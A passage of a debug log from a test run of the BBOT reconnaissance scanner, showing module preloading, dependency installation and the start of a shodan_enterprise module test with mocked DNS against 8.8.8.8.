modules.py:152 Preloading certspotter from cache -2026-02-27 22:13:55,979 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:13:55,981 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:13:55,982 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:13:55,983 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:13:55,984 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:13:55,985 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:13:55,986 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:13:55,987 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:13:55,988 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:13:55,989 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:13:55,990 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:13:55,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:13:55,992 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:13:55,993 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:13:55,995 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:13:55,997 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:13:55,998 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:13:55,999 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:13:56,000 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:13:56,001 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:13:56,002 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:13:56,003 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:13:56,004 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:13:56,005 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:13:56,006 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:13:56,006 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:13:56,008 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:13:56,009 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:13:56,010 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:13:56,011 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:13:56,012 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:13:56,013 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:13:56,015 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:13:56,016 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:13:56,017 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:13:56,018 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:13:56,019 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:13:56,020 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:13:56,021 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:13:56,022 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:13:56,024 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:13:56,024 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:13:56,025 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:13:56,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:13:56,027 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:13:56,028 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:13:56,029 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:13:56,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:13:56,031 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:13:56,033 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:13:56,034 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:13:56,035 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:13:56,036 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:13:56,037 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:13:56,038 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:13:56,039 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:13:56,040 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:13:56,041 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:13:56,042 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:13:56,043 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:13:56,045 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:13:56,046 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:13:56,047 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:13:56,049 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:13:56,050 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:13:56,050 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:13:56,052 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:13:56,053 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:13:56,054 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:13:56,056 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:13:56,057 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:13:56,059 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:13:56,060 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:13:56,065 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:13:56,066 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:13:56,069 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:13:56,070 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:13:56,072 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:13:56,073 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:13:56,075 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:13:56,076 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:13:56,078 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:13:56,078 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:13:56,080 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:13:56,081 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:13:56,082 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:13:56,084 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:13:56,085 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:13:56,086 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:13:56,086 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:13:56,087 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:13:56,088 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:13:56,089 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:13:56,090 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:13:56,091 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:13:56,092 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:13:56,093 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:13:56,095 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:13:56,096 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:13:56,097 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:13:56,098 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:13:56,099 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:13:56,101 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:13:56,102 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:13:56,103 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:13:56,104 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:13:56,105 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:13:56,107 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:13:56,107 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:13:56,108 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:13:56,110 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:13:56,111 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:13:56,112 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:13:56,114 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:13:56,116 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:13:56,117 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:13:56,118 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:13:56,120 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:13:56,122 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:13:56,329 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4582047504 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:13:56,330 [DEBUG] filelock _api.py:334 Lock 4582047504 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:13:56,332 [DEBUG] filelock _api.py:364 Attempting to release lock 4582047504 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:13:56,332 [DEBUG] filelock _api.py:367 Lock 4582047504 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:13:57,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:13:57,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:13:57,784 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:13:57,968 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:13:58,655 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:13:58,655 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:13:58,656 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:13:58,656 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:13:58,909 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:13:58,911 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:13:59,024 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:13:59,024 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:13:59,080 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:13:59,084 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:13:59,085 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:13:59,880 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:13:59,881 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:14:08,666 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:14:08,667 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:14:08,667 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:14:11,317 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:14:11,318 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:14:11,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:14:11,325 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:14:11,325 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:14:11,326 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:14:11,326 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:14:11,326 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:14:11,332 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/6geyrro1tcv9h10qgyhr -2026-02-27 22:14:12,577 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:14:12,578 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:14:12,579 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:14:12,725 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:14:12,725 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:14:12,725 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:14:12,728 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:14:12,728 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:14:12,728 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:14:12,729 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:14:12,730 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:14:12,730 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:14:12,731 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:14:12,731 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:14:12,731 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:14:12,732 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:14:12,732 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:14:12,732 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:14:12,732 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:14:12,733 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:14:12,733 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:14:12,733 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:14:12,733 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:14:12,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:14:12,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:14:12,734 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:14:12,735 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:14:12,736 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:14:12,736 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:14:12,737 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:14:12,737 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:14:12,737 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:14:12,737 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:14:12,739 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:14:12,739 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:14:12,739 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:14:12,740 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:14:12,740 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:14:12,914 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_yq29unrqwa -2026-02-27 22:14:12,914 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:14:13,032 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:14:13,033 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:14:13,033 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:14:13,035 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 22:14:13,135 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-02-27 22:14:13,135 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 22:14:13,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 22:14:13,138 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:14:13,140 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:14:13,141 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:14:13,141 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:14:13,144 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:14:13,145 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:14:13,147 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:14:13,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:14:13,150 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:14:13,151 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:14:13,155 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:14:13,156 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 